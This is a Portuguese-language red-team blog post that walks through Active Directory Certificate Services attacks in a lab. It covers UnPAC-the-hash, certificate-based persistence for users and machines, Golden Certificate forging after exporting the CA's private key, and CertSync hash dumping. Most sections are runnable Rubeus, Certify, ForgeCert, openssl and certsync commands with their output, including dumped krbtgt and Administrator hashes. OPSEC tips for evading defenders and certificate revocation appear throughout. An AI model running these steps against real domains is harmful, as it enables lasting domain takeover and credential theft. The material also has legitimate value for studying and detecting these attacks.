Summary

  1. Introduction
  2. UnPAC-The-Hash
  3. Persistence by user certificate
  4. Persistence by machine certificate
  5. Golden Certificate persistence
  6. Certsync against dcsync

Introduction

Quando falamos em persistência em ambientes Active Directory, nos vem a mente diversas maneiras de realiza-la uma das mais conhecidas entre os atacante é o Golden Ticket que consiste em capturar a hash ntlm do “usuario” krbtgt e por fim conseguir emitir tickets em nome de qualquer usuario como em cenarios de persistencia, você sempre estara olhando para um usuario com alto valor como DA(Domain Admins) e EA(Enterprise Admins).


Contudo a técnica de Golden Ticket já em bem conhecida por defensores, e também facil de se detectar em ambientes mais maduros claro, onde há monitoramento de logs, trafego Kerberos e LDAP. Com o crescimento do uso de ADCS em ambientes corporativos e afins, novas técnicas para exploração e vulnerabilidades sempre surgem como os (ESC:1,2,3,4…11,14), todos sabemos que o ADCS se mal configurado ao explorar qualquer uma das vulnerabilidades nele presentes, elas podem comprometer todo o dominio rapidamente. Mas será que o ADCS só serve para escalação de privilegios? Nesse artigo quero mostrar que o ADCS também pode ser utilizado para diversos tipos de persistencia e também para roubo de credênciais de forma mais OPSEC.

UnPAC-The-Hash

Ao utilizar o PKINIT para obter um TGT (Ticket Granting Ticket), o KDC (Key Distribution Center) inclui no ticket uma estrutura PAC_CREDENTIAL_INFO contendo as chaves NTLM (ou seja, hashes LM e NT) do usuário autenticador. Este recurso permite que os usuários mudem para autenticações NTLM quando servidores remotos não suportam Kerberos, enquanto ainda contam com um mecanismo de verificação de pré-autenticação Kerberos assimétrico (ou seja, PKINIT).


As hashes NTLM serão então recuperáveis ​​após um fazer um TGS-REQ através de U2U, combinado com S4U2self, que é uma solicitação de Service Ticket feita ao KDC onde o usuário pede para se autenticar.


O diagrama abaixo mostra como o UnPAC-The-Hash funciona, mas porque essa técnica é vantajosa para nós atacantes? A vantagem é que ao gerar o certificado de um usuario e utilizar a técnica você sempre irá conseguir a HASH NTLM atual daquele usuario ou seja:

  • Mesmo que o usuario altere sua senha, o certificado irá continuar valido para uso(Uma das outras vantagens do ADCS também LOLLL)
  • Mesmo que o usuario altere sua senha, com UnPAC você sempre irá conseguir extrair a hash ntlm da senha atual dele.

unpac

Futuramente combinaremos essa técnica a outra, conhecida como CertSync que é uma forma de realizar “DCSync” porém utilizando certificados. Agora vamos realizar isso em laboratorio, localmente tenho um comigo um ambiente AD já com ADCS e templates configuradas.


Para realizar essa técnica a unica premissa é que você precisa saber a senha do certificado, então sempre que for executar que seja de um certificado que você tenha criado, ou algum certificado com a senha fraca que você conseguiu brutar

    .\Rubeus.exe asktgt /getcredentials /user:paulo.victor /certificate:"C:\Tools\esc4-DA.pfx" /password:Senha /domain:corp.local /dc:corp-dc /show

    [*] Action: Ask TGT

    [*] Using PKINIT with etype rc4_hmac and subject: CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL
    [*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\paulo.victor'
    [*] Using domain controller: 10.0.0.10:88
    [+] TGT request successful!
    [*] base64(ticket.kirbi):

    doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlh....

    ServiceName              :  krbtgt/corp.local
    ServiceRealm             :  CORP.LOCAL
    UserName                 :  paulo.victor
    UserRealm                :  CORP.LOCAL
    StartTime                :  1/10/2025 11:33:04 PM
    EndTime                  :  1/11/2025 9:33:04 AM
    RenewTill                :  1/17/2025 11:33:04 PM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  rc4_hmac
    Base64(key)              :  YJHc9+T6Rdt8PrWc5eEdZQ==
    ASREP (key)              :  51901227A9A7C2FDF729D40313291627

    [*] Getting credentials using U2U

    CredentialInfo         :
        Version              : 0
        EncryptionType       : rc4_hmac
        CredentialData       :
        CredentialCount    : 1
        NTLM              : **E15E48546D35C3F2EF7FB995A4A9548E**

Como podem ver, consegui capturar a hash ntlm do meu usuario que é owner da template que utilizei e também é Domain Admin dentro do ambiente, e como eu disse não importa quantas vezes o usuario mude de senha, você sempre ira capturar a hash atual e tudo isso sem nem tocarmos no processo LSASS.


Persistence by user certificate

Também é possivel gerar persistencia no ambiente, atraves de certificados para o usuario. A ideia aqui é que você já tenha um alto acesso dentro do ambiente como Domain Admin, para emitir esse certificado no nome de um usuario de alto privilegio que você queira manter o acesso.


O step-by-step seria:

  • Possuir acesso a um usuario de alto privilegio(i.e DA & EA)
  • Solicitar um certificado para aquele usuario em uma template que permite Client Authentication


Por padrão o ADCS tem algumas templates que permite Client Authentication como a template User que é a template que iremos utilizar para gerar o certificado para o nosso usuario. Geralmente esses certificados tem a validade de 1 ano, porém quando estiver para expirar você pode simplesmente reemitir o mesmo.


No contexto abaixo, estou com um usuario low priv no meu ambiente, vou estar emitindo o certificado em nome de uma template que é vulneravel a ESC1, o que dara um ticket com o usuario Domain Admin, que será nosso alvo de persistencia.

.\Certify.exe request /ca:CORP-DC.CORP.LOCAL\CORP-CA /template:"CORP - Kerberos Authentication" /altname:paulo.victor


    [*] Action: Request a Certificates

    [*] Current user context    : CORP\danielmoura
    [*] No subject name specified, using current context as subject.

    [*] Template                : CORP - Kerberos Authentication
    [*] Subject                 : CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL
    [*] AltName                 : paulo.victor

    [*] Certificate Authority   : CORP-DC.CORP.LOCAL\CORP-CA

    [*] CA Response             : The certificate had been issued.
    [*] Request ID              : 21

    [*] cert.pem         :

    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEAveH2b8bqL7smcl...

    -----END CERTIFICATE-----


    [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

C:\Tools\openssl\openssl.exe pkcs12 -in esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc1-DA.pfx

    Enter Export Password:
    Verifying - Enter Export Password:

    Get-PfxCertificate -FilePath .\sora-DA.pfx | select *

    EnhancedKeyUsageList : {Client Authentication (1.3.6.1.5.5.7.3.2), Server Authentication (1.3.6.1.5.5.7.3.1), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), KDC Authentication (1.3.6.1.5.2.3.5)}
    DnsNameList          : {Daniel Moura}
    SendAsTrustedIssuer  : False
    Archived             : False
    Extensions           : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
    FriendlyName         :
    IssuerName           : System.Security.Cryptography.X509Certificates.X500DistinguishedName
    NotAfter             : 1/10/2026 11:43:37 PM
    NotBefore            : 1/10/2025 11:43:37 PM
    HasPrivateKey        : True
    PrivateKey           : System.Security.Cryptography.RSACryptoServiceProvider
    PublicKey            : System.Security.Cryptography.X509Certificates.PublicKey
    RawData              : {48, 130, 5, 233...}
    SerialNumber         : 54000000150B74ED4CF8ADD060000000000015
    SubjectName          : System.Security.Cryptography.X509Certificates.X500DistinguishedName
    SignatureAlgorithm   : System.Security.Cryptography.Oid
    Thumbprint           : 1DD7B7333ECCF32A83DB5C86CEA9B80B0833C285
    Version              : 3
    Handle               : 2734492773680
    Issuer               : CN=CORP-CA, DC=CORP, DC=LOCAL
    Subject              : CN=Daniel Moura, OU=Usuarios, OU=Inferi, DC=CORP, DC=LOCAL

Pronto, com o certificado em mãos agora eu guardo ele comigo e por 1 ano vou ter essa persistência via usuario, e combinando com UnPAC-The-Hash você sempre irá conseguir a ntlm desse usuario atual enquanto o certificado for valido 😏


No meu contexto eu pedi sobre uma template vulneravel, porém o ideal é fazer como eu disse acima, emitir essa template em um certificado padrão do ADCS como a User. Em seguida veremos como realizar a persistência em maquinas.


Persistence by machine certificate

A persistência de maquina com certificados, segue a mesma ideia da maneira anterior, mas ao invés de ser nescessario um usuario de alto privilegio, você precisa ser SYSTEM na maquina, e fazer persistencia por máquina também tem suas vantagens, como:

  • O certificado dura 1 ano, e pode ser renovado quando estiver perto de expirar.
  • Mesmo que o computador mude de senha o certificado ainda irá funcionar.
  • Mesmo que formate o computador, caso ele volte para a rede com o mesmo nome, o certificado ainda será valido (THIS IS UNREAL MICROSOFT LMFAAAO).
    • Caso haja alteração no SID da maquina, ai sim o certificado se torna invalido, se a maquina for formatada normalmente ela tera o mesmo SID, caso ela seja formatada e houve alguma alteração de hardware o SID será alterado.
    • Porém em novas atualizações do Certipy/fy você consegue especificar o SID que quer utilizar no certificado


Vamos então agora reproduzir em nosso laborátorio, a ideia é a seguinte

  • Solicitar a CA(Certification Authority) um certificado sobre a template “Machine” que em seu EKU(Enhanced Key Usage) permite Client Authentication por padrão.
  • Converter o .pem para pfx com openssl (OPSEC NOTES: Nunca coloque os certificados com uma senha fraca 😑).
.\Certify.exe request /ca:CORP-DC.CORP.LOCAL\CORP-CA /template:"Machine" /machine


[*] Action: Request a Certificates

[*] Current user context    : NT AUTHORITY\SYSTEM
[*] No subject name specified, using current machine as subject

[*] Template                : Machine
[*] Subject                 : CN=SRV-01.CORP.LOCAL

[*] Certificate Authority   : CORP-DC.CORP.LOCAL\CORP-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 22

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA0XOxnEqKbwpWnAOHKGHs...

-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Get-PfxCertificate -FilePath .\srv01-A.pfx | select *

EnhancedKeyUsageList : {Client Authentication (1.3.6.1.5.5.7.3.2), Server Authentication (1.3.6.1.5.5.7.3.1)}
DnsNameList          : {SRV-01.CORP.LOCAL}
SendAsTrustedIssuer  : False
Archived             : False
Extensions           : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
FriendlyName         :
IssuerName           : System.Security.Cryptography.X509Certificates.X500DistinguishedName
NotAfter             : 1/11/2026 1:50:33 AM
NotBefore            : 1/11/2025 1:50:33 AM
HasPrivateKey        : True
PrivateKey           : System.Security.Cryptography.RSACryptoServiceProvider
PublicKey            : System.Security.Cryptography.X509Certificates.PublicKey
RawData              : {48, 130, 5, 28...}
SerialNumber         : 5400000016747C52BDC9582CB5000000000016
SubjectName          : System.Security.Cryptography.X509Certificates.X500DistinguishedName
SignatureAlgorithm   : System.Security.Cryptography.Oid
Thumbprint           : 8E19E0FFE7DECD870DE249017F0C548DCDE79A8F
Version              : 3
Handle               : 2539689363184
Issuer               : CN=CORP-CA, DC=CORP, DC=LOCAL
Subject              : CN=SRV-01.CORP.LOCAL

Já com o certificado de maquina em mãos o proximo passo é simplesmente fazer um asktgt com o ticket e sua senha para o Rubeus, e boom você agora tem persistencia na maquina alvo.


Uma caracteristica das maquinas é que suas senhas são trocadas a cada 30 dias, mas como aprendemos nesse artigo sobre o UnPAC, isso não é mais um problema para nós 🙄


Golden Certificate persistence

O Golden Certificate em sua essência não é nada mais nada menos que o certificado da CA(Certification Authority), mas o que podemos fazer com isso?


Uma CA utiliza sua chave privada para assinar os certificados, caso um atacante consiga a extrair ele pode assinar qualquer certificado, e por ventura personificar qualquer usuario do dominio.


Vamos ao laboratorio.. Precisamos realizar alguns passos como:

  • Realizar o “Backup” das chaves privadas da CA para formato .p12
  • Converter o .p12 para .pem e após isso para .pfx
  • Utilizar ferramentas como ForgeCert ou Certipy para emitir o certificado do usuario que queremos personificar
Backup-CARoleService C:\Tools\CA-Backup -Password (ConvertTo-SecureString "Senha" -AsPlainText -Force)

dir .\CA-Backup\

Directory: C:\Tools\CA-Backup


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        11/01/2025     02:22                DataBase
-a----        11/01/2025     02:22           2597 CORP-CA.p12

Agora vamos levar esse arquivo .p12 para a maquina atacante, lembrando que ferramentas como Certipy extraem o certificado da CA de forma remota, porém requer privileigos de administrador de dominio.

C:\Tools\openssl\openssl.exe pkcs12 -in C:\Tools\CORP-CA.p12 -out C:\Tools\CORP-CA.pem

dir | findstr "CORP-CA"

-a----         1/11/2025   2:22 AM           2597 CORP-CA.p12
-a----         1/11/2025   2:26 AM           3387 CORP-CA.pem

C:\Tools\openssl\openssl.exe pkcs12 -in C:\Tools\CORP-CA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "C:\Tools\CORP-CA.pfx"

dir | findstr "CORP-CA"

-a----         1/11/2025   2:22 AM           2597 CORP-CA.p12
-a----         1/11/2025   2:26 AM           3387 CORP-CA.pem
-a----         1/11/2025   2:30 AM           2587 CORP-CA.pfx

Guarde esse .pfx com TODA A SUA ALMA!!!!!!. Agora vamos utilizar o ForgeCert para emitir um certificado em nome do Domain Admin

 .\ForgeCert.exe --CaCertPath ".\CORP-CA.p12" --CaCertPassword "Senha" --Subject "CN=paulo.victor,OU=Usuarios,OU=Inferi,DC=CORP,DC=LOCAL" --SubjectAltName paulo.victor@corp.local --NewCertPath ".\paulo-da.pfx" --NewCertPassword "Senha"

CA Certificate Information:
  Subject:        CN=CORP-CA, DC=CORP, DC=LOCAL
  Issuer:         CN=CORP-CA, DC=CORP, DC=LOCAL
  Start Date:     1/4/2025 12:56:14 AM
  End Date:       1/4/2030 1:06:13 AM
  Thumbprint:     0C6145AAC4A1BDF07BA3F7D01461797BF511F12C
  Serial:         1125934CE5144B9A4DEFB96CAAA4A9F2

Forged Certificate Information:
  Subject:        DC=LOCAL, DC=CORP, OU=Inferi, OU=Usuarios, CN=paulo.victor
  SubjectAltName: paulo.victor@corp.local
  Issuer:         CN=CORP-CA, DC=CORP, DC=LOCAL
  Start Date:     1/11/2025 2:34:50 AM
  End Date:       1/11/2026 2:34:50 AM
  Thumbprint:     ED557F9E9F3811F07B62EF0517CE494D83E9AD4B
  Serial:         00E32CD49040A22DBBA2BA81A1A6C87F4E

Done. Saved forged certificate to .\paulo-da.pfx with the password 'Senha'

Agora vamos utilizar o Rubeus para pedir um ticket TGT e personificar o Domain Admin

.\Rubeus.exe asktgt /user:paulo.victor /domain:corp.local /dc:corp-dc.corp.local /certificate:"C:\Tools\paulo-da.pfx" /password:"Senha" /ptt


[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: DC=LOCAL, DC=CORP, OU=Tier0, OU=Usuarios, CN=paulo.victor
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\paulo.victor'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlhg...

[+] Ticket successfully imported!

  ServiceName              :  krbtgt/corp.local
  ServiceRealm             :  CORP.LOCAL
  UserName                 :  paulo.victor
  UserRealm                :  CORP.LOCAL
  StartTime                :  1/11/2025 2:37:29 AM
  EndTime                  :  1/11/2025 12:37:29 PM
  RenewTill                :  1/18/2025 2:37:29 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  c5brmZK4ioq20251NDOs8w==
  ASREP (key)              :  667FB15683B166E0330E8D3DFE38620E

Pronto, agora somos Domain Admin do ambiente!!!. Basta com que você guarde esse .pfx com você para sempre, e sempre irá conseguir emitir um certificado no nome de qualquer usuario e personifica-lo no ambiente.


  • OPSEC NOTES: Ao gerar certificados com Certipy/fy eles ficarão salvos em “Issued Certificates” no certsrv dentro da CA, oque dá a possibilidade dos defensores revogarem o seu certificado, oque é um problema. Porém ao utilizar Golden Cerficate você estará gerando os certificados localmente e eles não ficaram salvos dentro do certsrv, oque dificultara e MUITO a vida do defensor em revogar o seu certificado 🔥🧑‍🚒.
  • Eu tirei essa captura de tela abaixo, após reproduzir os passos acima e como podemos ver, o certificado que eu emiti não está visivel dentro da CA.

golden

Certsync against DCsync

Tá, mas sorahed 98% dos redteamers conhecem o DCSync e se sentem confortáveis com ele, o que esse CertSync tem de vantagem afinal?

Bom o DCsync explora o protocolo MS-DRSR, usado ele para replicar dados do AD, permitindo que um atacante extraia credenciais diretamente de um Domain Controller.


O ponto é que DCSync também utiliza a DSRUAPI que é monitorada e muitas vezes restritas por um EDR. Em casos de um ambiente maduro você não irá conseguir realizar esse ataque. Ai é onde o CertSync brilha, pois ele não nescessita da DSRUAPI e nem de um Domain Admin, apenas de um usuario que sejaadministrador da CA.


O CertSync é uma técnica para dumpar remotamente a NTDS utilizando as duas técnicas que vimos acima como o Golden Certificate e UnPAC-The-Hash, e ela faz isso em alguns passos:

  • Faz um dump da lista de usuarios, informações da CA e também do CRL via LDAP.
  • Faz o dump do certificado da CA e sua private key(.p12(Golden Certificate)).
  • Forja localmente um certificado pra cada usuario
  • Realiza UnPAC em todos esses certificados para obter a hash NTLM


Vamos reproduzir no laborátorio. Estou utilizando meu usuario que é administrador da CA que vamos realizar o ataque.

$ certsync -u paulo.victor -p 'Senha@123' -d corp.local -dc-ip 10.0.0.10 -ns 10.0.0.10
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 16 users in LDAP
[*] Found CA CORP-CA on corp.local(10.0.0.10)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
CORP.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:75431702DEEB8199026DCFCA6EA5C950:::
CORP.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:DDC84A0B28826D6CD4738C5852F38E81:::
....

Conclusion

Bom, então foi isso, vimos que o ADCS também é muito potente para persistência de usuarios, maquinas e também de dominio, espero escrever mais coisas futuramente sobre ADCS, e que você meu querido leitor também tenham gostado desse artigo, se curtiu da um joinha curte e compartilha.

  • Per aspera ad inferi ❤️